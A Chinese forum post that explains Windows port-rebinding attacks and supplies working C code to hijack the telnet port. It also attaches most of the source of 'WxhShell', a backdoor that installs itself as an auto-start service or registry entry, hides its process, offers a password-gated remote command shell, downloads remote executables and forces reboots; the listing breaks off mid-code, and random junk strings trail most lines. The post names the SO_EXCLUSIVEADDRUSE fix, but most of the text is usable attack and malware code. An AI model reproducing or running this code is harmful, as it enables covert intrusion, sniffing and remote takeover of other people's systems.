社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9503阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J4]"@0?6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VXCB.C"  
ZWGelZP~  
  saddr.sin_family = AF_INET; H`<u2fo|p  
1<h@ ^s;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /7B3z}rd  
R[F`b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C=;}7g  
/E/6(c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "LYhYkI  
?p6@uM\Q7  
  这意味着什么?意味着可以进行如下的攻击: L7- JK3/E  
%D-!< )z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N]8/l:@  
Lm$KR!z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }#Up:o]A!  
n{|j#j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yo5-x"ze  
V B ^1wm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H1~9f {  
j}lne^ h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3I'7+?@@l  
 k=t{o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wR 2`*.O  
Nba1!5:M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LB7$&.m'B  
&%3}'&EBv  
  #include T#E,^|WEk  
  #include M+-odLltw  
  #include `-s]d q  
  #include    |@rf#,hTDp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XwIHIG}  
  int main() rU>l(O'b  
  { cooicKS7  
  WORD wVersionRequested; (CDh,ZN;|  
  DWORD ret; <_8eOL<X  
  WSADATA wsaData; <qoc)p=__  
  BOOL val; NxH%%>o>  
  SOCKADDR_IN saddr; xE_~.EoB  
  SOCKADDR_IN scaddr; </9c=GoJ  
  int err; BDL[C<d(  
  SOCKET s; (eT9N_W  
  SOCKET sc; 5!i\S[:  
  int caddsize; =f=>buD  
  HANDLE mt; {JQV~rfh`  
  DWORD tid;   6X2w)cO  
  wVersionRequested = MAKEWORD( 2, 2 ); 5[6{o$I  
  err = WSAStartup( wVersionRequested, &wsaData ); J{;\TNkJ  
  if ( err != 0 ) { "2!5g)iO  
  printf("error!WSAStartup failed!\n"); q.hpnE~#lh  
  return -1; W)2k>cS  
  } KVC18"|f  
  saddr.sin_family = AF_INET; aB&a#^5CI  
   9nd,8Nji  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N+UBXhh  
oj6=.   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6[Mu3.T  
  saddr.sin_port = htons(23); 6C_H0a/h&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |Ntretz`\  
  { !':y8(Ou  
  printf("error!socket failed!\n"); Q >h7H{c  
  return -1; 0 4ceDe  
  } !9S!zRy@  
  val = TRUE; y7b>>|C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,[|i^  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2j^8{Agz  
  { V#&S&dn  
  printf("error!setsockopt failed!\n"); /jc; 2  
  return -1; q\s>Oe6$  
  } <7%#RJwe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /u'V>=D;f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '8^>Z.~V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [r1\FF@v,  
`cmzmQC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P#KT lH  
  { ]D>\Z(b  
  ret=GetLastError(); DoEN`K\U  
  printf("error!bind failed!\n"); M;X}v#l|XI  
  return -1; y $>U[^G[  
  } }@A{'q5y  
  listen(s,2); 35#"]l"  
  while(1) ]#O~lq  
  { /kFw(l_.  
  caddsize = sizeof(scaddr); T;Ra/H  
  //接受连接请求 I|P#|0< 2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,h9N,bIQg  
  if(sc!=INVALID_SOCKET) Tml>>O  
  { hLSas#B>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G8 CM  
  if(mt==NULL) JN<u4\e{-&  
  { X./7b{Pax  
  printf("Thread Creat Failed!\n"); u`Zj~ t  
  break; Z2{G{]EV(  
  } 3Yf!H-(\uB  
  } 1NU@k6UHl  
  CloseHandle(mt); ^s3SzB@  
  } |("zW7g  
  closesocket(s); :8Ql (I  
  WSACleanup(); I#:4H2H6  
  return 0; Z'\{hL S  
  }   `< cn  
  DWORD WINAPI ClientThread(LPVOID lpParam) iFB {a?BE  
  { iy,jq5uw  
  SOCKET ss = (SOCKET)lpParam; }Lb[`H,}A  
  SOCKET sc; kKNrCv@64d  
  unsigned char buf[4096]; uU`Mq8) R  
  SOCKADDR_IN saddr; ~`CWpc:  
  long num; 4wx _@8  
  DWORD val; V%'+ ob6  
  DWORD ret; A:Kit_A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 af;~<o a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J*r%b+  
  saddr.sin_family = AF_INET; \XgpwvO".  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %D<>F&h  
  saddr.sin_port = htons(23); 2mPU /  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wD`jks  
  { *gL-v]V  
  printf("error!socket failed!\n"); `RL n)a  
  return -1; !:<n]-U  
  } P4dhP-t  
  val = 100; ]^DNzqu=@h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~V!gHJ5M  
  { <(dg^;  
  ret = GetLastError(); L[.RV*sL  
  return -1; 0%GQXiy  
  } ycSC'R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nv2p&-e+  
  {  Y.v. EZ  
  ret = GetLastError(); xa|/P#q  
  return -1; ?LA` v_  
  } IO]%AL(.;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +OX:T) 4h6  
  { z!:%Hbh=  
  printf("error!socket connect failed!\n"); L{AfrgN  
  closesocket(sc); t73" d#+  
  closesocket(ss); 4ROuy+Ms'  
  return -1; ^|ln q.j  
  } 4 .d~u@=  
  while(1) V /,F6  
  { u40<>A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *Bm _  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w>Y!5RnO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &Uu8wFbIJ  
  num = recv(ss,buf,4096,0); I`FqZw  
  if(num>0) jxNnrIA  
  send(sc,buf,num,0); zTvGku[3  
  else if(num==0) "jMSF@lr  
  break; gj-MkeI)  
  num = recv(sc,buf,4096,0); Dt\rMSjZ9  
  if(num>0) GYK&QYi,  
  send(ss,buf,num,0); UbSAyf  
  else if(num==0) !;s5\91  
  break; t*{BN>B  
  } r*XEne  
  closesocket(ss); Cp.qL  
  closesocket(sc); y?@(%PTp  
  return 0 ; d\A!5/LG  
  } ),]XN#jp(u  
g|rbkK%SoE  
kKEs >a  
========================================================== s2ixiv=  
c&a.<e3mL  
下边附上一个代码,,WXhSHELL b?{\t;  
< k?jt  
========================================================== f?|cQ[#t!\  
Q/<?v!h{  
#include "stdafx.h" +_ZXzzcO<  
8|Vm6*TY&p  
#include <stdio.h> ^L"ENsOs  
#include <string.h> =UMqa;\K  
#include <windows.h> 0s'H(qE,_  
#include <winsock2.h> vo JmNH  
#include <winsvc.h> mx;1'!'fr  
#include <urlmon.h> GFppcL@a  
o+I'nFtnI  
#pragma comment (lib, "Ws2_32.lib") IFfB3{J  
#pragma comment (lib, "urlmon.lib") 8JbN&C  
Qy_! +q  
#define MAX_USER   100 // 最大客户端连接数 S<bsrS*$  
#define BUF_SOCK   200 // sock buffer ;j^C35  
#define KEY_BUFF   255 // 输入 buffer 8ZPjzN>c6  
mKN#dmw6  
#define REBOOT     0   // 重启 N!iugGL  
#define SHUTDOWN   1   // 关机 5}MjS$2og  
4J${gcju  
#define DEF_PORT   5000 // 监听端口 7r,h[9~e  
L>.* ^]  
#define REG_LEN     16   // 注册表键长度 '|^<|S_+K  
#define SVC_LEN     80   // NT服务名长度 QkU6eE<M*  
_q<Ke/  
// 从dll定义API 1'Y7h;\~\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QdtGFY4f,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GB\1'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h#Q Sx@U6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >hsvRX\_ `  
yhJA{nL=  
// wxhshell配置信息 QssU\@ / Q  
struct WSCFG { q6a7o=BP]  
  int ws_port;         // 监听端口 D +Ui1h-  
  char ws_passstr[REG_LEN]; // 口令 w9Z,3J6r  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7;x}W-`iF  
  char ws_regname[REG_LEN]; // 注册表键名 W_%@nm\y  
  char ws_svcname[REG_LEN]; // 服务名 3; Ztm$8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &x>8 %Q s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #9FY;~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NUp,In_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cr#Z.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i^2-PKPg{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \PJpy^i  
|];f?1  
}; vn Ol-`Z ~  
WO]9\"|y  
// default Wxhshell configuration .&2Nm&y$ K  
struct WSCFG wscfg={DEF_PORT, .5K}R<  
    "xuhuanlingzhe", ;r.0=Uo9]  
    1, DL]\dD   
    "Wxhshell", |';oIYs|$  
    "Wxhshell", (dgBI}Za  
            "WxhShell Service", 2=V~n)'a  
    "Wrsky Windows CmdShell Service", %.[jz,;)  
    "Please Input Your Password: ", `<x((@#  
  1, ~us1Df0bp  
  "http://www.wrsky.com/wxhshell.exe", $9}jU#Z|hd  
  "Wxhshell.exe" {sb2r%U!+  
    }; 5vo5t0^o  
7x5wT ?2W  
// 消息定义模块 JNk6:j&Pf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *iwV B^^$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )g ; !IL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q-|j =  
char *msg_ws_ext="\n\rExit."; @r=v*hu  
char *msg_ws_end="\n\rQuit."; Z0#&D&2sV  
char *msg_ws_boot="\n\rReboot..."; +u\kTn  
char *msg_ws_poff="\n\rShutdown..."; 8 LH\a.>  
char *msg_ws_down="\n\rSave to "; )Lb?ZXT3  
2vh@KnNU  
char *msg_ws_err="\n\rErr!"; "f|xIK`c  
char *msg_ws_ok="\n\rOK!"; wpI_yp  
D8*t zu-  
char ExeFile[MAX_PATH]; Y6w7sr_R  
int nUser = 0; Wv7hY"  
HANDLE handles[MAX_USER]; iPeW;=-2Wk  
int OsIsNt; [8v>jQ)  
Um2RLM%  
SERVICE_STATUS       serviceStatus; _6!@>`u~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v-ZTl4j$  
-J' 0qN!  
// 函数声明 Zc|V7 +Yx  
int Install(void); Y7_2pGvZ  
int Uninstall(void); Z;M th#  
int DownloadFile(char *sURL, SOCKET wsh); c]]e(  
int Boot(int flag); r~q 3nIe/,  
void HideProc(void); "%E<%g  
int GetOsVer(void); Lh;U2pA  
int Wxhshell(SOCKET wsl); (mOL<h[)IP  
void TalkWithClient(void *cs); rJ=r_v  
int CmdShell(SOCKET sock); +L U.QI'  
int StartFromService(void); -Wm'@4bH  
int StartWxhshell(LPSTR lpCmdLine); lv!8)GX|  
V7(-<})8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wS+ekt5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pgipT#_K  
(\$=de>?  
// 数据结构和表定义 b9RJ>K  
SERVICE_TABLE_ENTRY DispatchTable[] = Bj*\)lG<  
{ (\M#Ay t)  
{wscfg.ws_svcname, NTServiceMain}, g)L<xN8  
{NULL, NULL} Gr8%%]1!0  
}; ,`,1s 9\&t  
U ljWBd  
// 自我安装 me  ,lE-  
int Install(void) KEfwsNSc%  
{ p G(Fw>  
  char svExeFile[MAX_PATH]; W87kE?,  
  HKEY key; 4H*M^?h\#  
  strcpy(svExeFile,ExeFile); h-+vN hH  
F_.1^XM  
// 如果是win9x系统,修改注册表设为自启动 8Ao-m38  
if(!OsIsNt) { twP%+/g]<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Yargj_Gn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \]|(w*C  
  RegCloseKey(key); 0`KR8# A@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )o`[wq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~i UG24v  
  RegCloseKey(key); UZRN4tru6  
  return 0; z2~\ b3G  
    } 1A}#j  
  } +F]=Z  
} AwtiV-w  
else { `R m<1  
6Wk9"?+1  
// 如果是NT以上系统,安装为系统服务 noZ!j>f{@l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SQT]'  
if (schSCManager!=0) l1%ubu  
{ MGLcM&oR  
  SC_HANDLE schService = CreateService rH$M6S  
  ( /*e6('9s  
  schSCManager, ~?z u5,vb  
  wscfg.ws_svcname, Aaug0X  
  wscfg.ws_svcdisp, S{jm4LZ  
  SERVICE_ALL_ACCESS, ^H`4BWc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? J/NYV  
  SERVICE_AUTO_START, {J*|)-eAw  
  SERVICE_ERROR_NORMAL, 5;@2SY7 ,  
  svExeFile, BG_6$9y  
  NULL, ]]9 VI0   
  NULL, W4q |55  
  NULL, QB"+B]rV  
  NULL, ~A_1he~  
  NULL 95mwDHbA  
  ); p0Pmmp7r  
  if (schService!=0) -,q qQf  
  { i hcSSUm  
  CloseServiceHandle(schService); }CM#jN?(  
  CloseServiceHandle(schSCManager); BVG.ZZR})  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2(k m]H^  
  strcat(svExeFile,wscfg.ws_svcname); 5}TTf2&Xo#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "#P#;]\`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tQE<'94A  
  RegCloseKey(key); :Z.P0=  
  return 0; L| ]fc9W:  
    } 2"EaF^?\  
  } zmFS]IOv$  
  CloseServiceHandle(schSCManager); nT9Hw~f<j  
} L KLLBrm:  
} A "/|h].  
/h 4rW>8D2  
return 1; B&AF(e (  
} MIY`"h0*  
7U:{=+oLR  
// 自我卸载 kTA4!654  
int Uninstall(void) D< 0))r  
{ VV"w{#XKw  
  HKEY key; 1L%$\0B4hm  
:cKdl[E4z  
if(!OsIsNt) { { g4`>^;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9B/iQCFtj$  
  RegDeleteValue(key,wscfg.ws_regname); -s^)HR l  
  RegCloseKey(key); F_@?'#m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =w7+Yt  
  RegDeleteValue(key,wscfg.ws_regname); HV{W7)  
  RegCloseKey(key); Q_`EKz;N{  
  return 0; :}CcWfbT  
  } T%aM~dp  
} [e o=  
} UAGh2?q2  
else { :OV6R ,  
O*yA50Cn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8x-(7[#e<g  
if (schSCManager!=0) ~Rw][Ys  
{ q4g)/x%nc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y*sw;2Z;a  
  if (schService!=0) u7  
  { :Sn4Pg `Q  
  if(DeleteService(schService)!=0) { Q]<6voyy  
  CloseServiceHandle(schService); @U:PXCvh  
  CloseServiceHandle(schSCManager);  |CAMdU  
  return 0; !Y 9V1oVf"  
  } 7bQST0 ?  
  CloseServiceHandle(schService); "JE->iD  
  } +&G]\WX<  
  CloseServiceHandle(schSCManager); zU'7x U-  
} Zr(eH2}0D  
} =t %;mi,M  
Ii!{\p!  
return 1; Jv kTfTE7  
} #'n.az=1  
BS%pS(  
// 从指定url下载文件 e ^ZY  
int DownloadFile(char *sURL, SOCKET wsh) |Mgzb0_IiQ  
{ '7g]@Q7  
  HRESULT hr; @}pcj2K#  
char seps[]= "/"; S0ltj8t  
char *token; i(kx'ua?  
char *file; <o/lK\>  
char myURL[MAX_PATH]; GI>(S  
char myFILE[MAX_PATH]; [=cYsW%WG  
Awr(}){  
strcpy(myURL,sURL); @"H7Q1Hg!*  
  token=strtok(myURL,seps); g_rk_4]  
  while(token!=NULL) (\nEU! Y  
  { sFHqLG{/  
    file=token; WJ,?5#  
  token=strtok(NULL,seps); L`(\ud  
  } ' H4m"  
#CcEI  
GetCurrentDirectory(MAX_PATH,myFILE); r;p@T8k  
strcat(myFILE, "\\"); o#WECs>  
strcat(myFILE, file); M(I%QD  
  send(wsh,myFILE,strlen(myFILE),0); )G-u;1rd  
send(wsh,"...",3,0); Wiw~oXo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +S'm<}"1  
  if(hr==S_OK) 4*inN~cU  
return 0; pfw`<*e'  
else >v f-,B  
return 1; f:6F5G  
Xka+1c  
} pE%*r@p4&4  
%:j`%F;R  
// 系统电源模块 ""Oir!4  
int Boot(int flag) 9W, %[  
{ VVcli*  
  HANDLE hToken; nW<nOKTnk_  
  TOKEN_PRIVILEGES tkp;  S9^S W3  
3Pp+>{2_?  
  if(OsIsNt) { Wf-XH|j[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \.>7w 1p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zF|c3ap  
    tkp.PrivilegeCount = 1; CH q5KB98+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uy*d@vU9c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A 8-a}0Gh  
if(flag==REBOOT) { N1$PW~)Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PHJHW#sv  
  return 0; w`fbUh6/  
} 5>UQ3hWo  
else { %Y"pVBc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?uU_N$x  
  return 0; $zF%F.rln  
} l]j;0i  
  } EPR85[k  
  else { Q [C26U  
if(flag==REBOOT) { $$EEhy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [rW];H8:~  
  return 0; /t! 5||G  
} An^)K  
else { qM6hE.J   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HXC\``E  
  return 0; [lVfhXc&  
} TY5R=jh=  
} <P/odpmc  
W*DK pJy  
return 1; _+ Sf+ta  
} k_uI&,  
o7WAH@g  
// win9x进程隐藏模块 8@LUL)"  
void HideProc(void) 9%53 _nx?  
{ s= 5 k7  
dQ _4aO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fE_%,DJE(  
  if ( hKernel != NULL ) pzaU'y#PM  
  { 2.=u '  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m)  rVzL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U_;="y  
    FreeLibrary(hKernel); 7U?#Xi5  
  } cP\z*\dS  
^,F G 9  
return; hc3tzB  
} <&2<>*/.y  
w w[|| =  
// 获取操作系统版本 BkPt 1i  
int GetOsVer(void) H_Va$}8z  
{ &:u3-:$:9  
  OSVERSIONINFO winfo; #I*{_|}=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M d8(P23hS  
  GetVersionEx(&winfo); sC.r$K+k5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `& h-+  
  return 1; 'Bxj(LaV-  
  else 0 f$96sl  
  return 0; G 9 (*F  
} JtsXMZz  
xx|D#Z}G  
// 客户端句柄模块 -iY-rzW  
int Wxhshell(SOCKET wsl) `#wEa'v6  
{ GAZRQ  
  SOCKET wsh; V5i}^%QSs  
  struct sockaddr_in client; %{pjC7j#  
  DWORD myID; JbJ!,86  
Kf}*Ij  
  while(nUser<MAX_USER) 9v;HE{>  
{ XjP &  
  int nSize=sizeof(client); /#SfgcDt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z wRF-{s  
  if(wsh==INVALID_SOCKET) return 1; 8 hhMuh  
z5 @i"%f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _+nk3-yQw  
if(handles[nUser]==0) '+ZJf&Ox  
  closesocket(wsh); 4b((,u$  
else -mGG:#yP  
  nUser++; _| cSXZ|  
  } TQ:5@1aT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5c(g7N  
F$jy~W_  
  return 0; &|}QdbW  
} ^#mWV  
2boyBz}=S  
// 关闭 socket o|vL:| 8Q  
void CloseIt(SOCKET wsh) =Ul"{T<  
{ ^Y;,cLXJ  
closesocket(wsh); 1 gcWw, /  
nUser--; 6-tIe _5  
ExitThread(0); zPybP E8  
} j~V $q/7S  
RticGQy&5  
// 客户端请求句柄 5h^BXX|Y*  
void TalkWithClient(void *cs) 1?^ P=^8   
{ Ejr'Yzl3_  
/kK!xe  
  SOCKET wsh=(SOCKET)cs; q~5zv4NX  
  char pwd[SVC_LEN]; | 4}Y:d  
  char cmd[KEY_BUFF]; %4F\#" A  
char chr[1]; \`["IkSg7  
int i,j; X>Q44FV!  
K(PSGlI f  
  while (nUser < MAX_USER) { vnVT0)Lel  
Mzg P@tB  
if(wscfg.ws_passstr) { "S6";G^I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V|B4lGS&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zi7cp6~7  
  //ZeroMemory(pwd,KEY_BUFF); OIpT9  
      i=0; \'[tfSB  
  while(i<SVC_LEN) { Ii5U) "  
!sEhjJV^7  
  // 设置超时 dlCiqY: }  
  fd_set FdRead; }F/w34+;  
  struct timeval TimeOut; I= <eCv  
  FD_ZERO(&FdRead); ,Eh]Zv1 AE  
  FD_SET(wsh,&FdRead); 9QB,%K_:4  
  TimeOut.tv_sec=8; _'1 ]CoR  
  TimeOut.tv_usec=0; 42tZBz&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *QWOW g4w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rC!"<  
J?X{NARt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4e eh+T  
  pwd=chr[0]; |[mmEYc  
  if(chr[0]==0xd || chr[0]==0xa) { D}X6I#U'/  
  pwd=0; wd<{%qK`{  
  break; g[t paQ  
  } R) dP=W*  
  i++; r)Lm| S  
    } .I_<\h7  
5p}j{f  
  // 如果是非法用户,关闭 socket 4k3pm&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $oM>?h_ =  
} 1L'Q;?&2H,  
%kop's&?C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dR< d7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9kF0H a}J  
l4U*Lv>   
while(1) { 4lc|~Fj++  
%`T}%B  
  ZeroMemory(cmd,KEY_BUFF); chUYLX}45  
!03JA9lo  
      // 自动支持客户端 telnet标准   ;L-)$Dy4  
  j=0; WwZ3hd  
  while(j<KEY_BUFF) { Ug546Bz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {5{VGAD&]>  
  cmd[j]=chr[0]; NyRa.hgZ;  
  if(chr[0]==0xa || chr[0]==0xd) { v{ohrpb0v  
  cmd[j]=0; Z : xb8]y  
  break; D84&=EpVZ  
  } d_pIB@J  
  j++; cAwqIihZ  
    } nh@JGy*L  
0x5Ax=ut  
  // 下载文件 j\bp# +  
  if(strstr(cmd,"http://")) { $H)!h^7^9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )$i,e`T   
  if(DownloadFile(cmd,wsh)) +"BJjxG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8UgogNR\  
  else *VJISJC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =fnBE`Uc  
  } n YUFRV$  
  else { (.@peHu)#  
=M*pym]QSY  
    switch(cmd[0]) { nr -< mQ  
  !DSm[Z1  
  // 帮助 ] L#c <0  
  case '?': { '/03m\7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #;^UW  
    break; _z BfNz9D  
  } Q Kr/  
  // 安装 ^JMG'@x  
  case 'i': { |,oLZC Na  
    if(Install()) k;t G-~\d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EwV$2AK  
    else H,GjPIG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pKq[F*Lut  
    break; L YB @L06a  
    } fw,,cu`YA  
  // 卸载 1~~GF_l?  
  case 'r': { a$Ud"  
    if(Uninstall()) O<L=N-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*Y]cohh  
    else 2/V%jS[4#y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |T/OOIA=sI  
    break; Bx5xtJ|!  
    } gM;m{gXYK  
  // 显示 wxhshell 所在路径 s6!&4=ZA  
  case 'p': { "~ $i#  
    char svExeFile[MAX_PATH]; ZpOME@9,  
    strcpy(svExeFile,"\n\r"); LkzA_|8:D  
      strcat(svExeFile,ExeFile); e>e${\ =,  
        send(wsh,svExeFile,strlen(svExeFile),0); Bi \fB-|  
    break; IaSPwsvt'  
    } RDHK'PGA  
  // 重启 >}~[ew  
  case 'b': { ~? aFc)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G[ #R1'  
    if(Boot(REBOOT)) !<~.>5UQ  
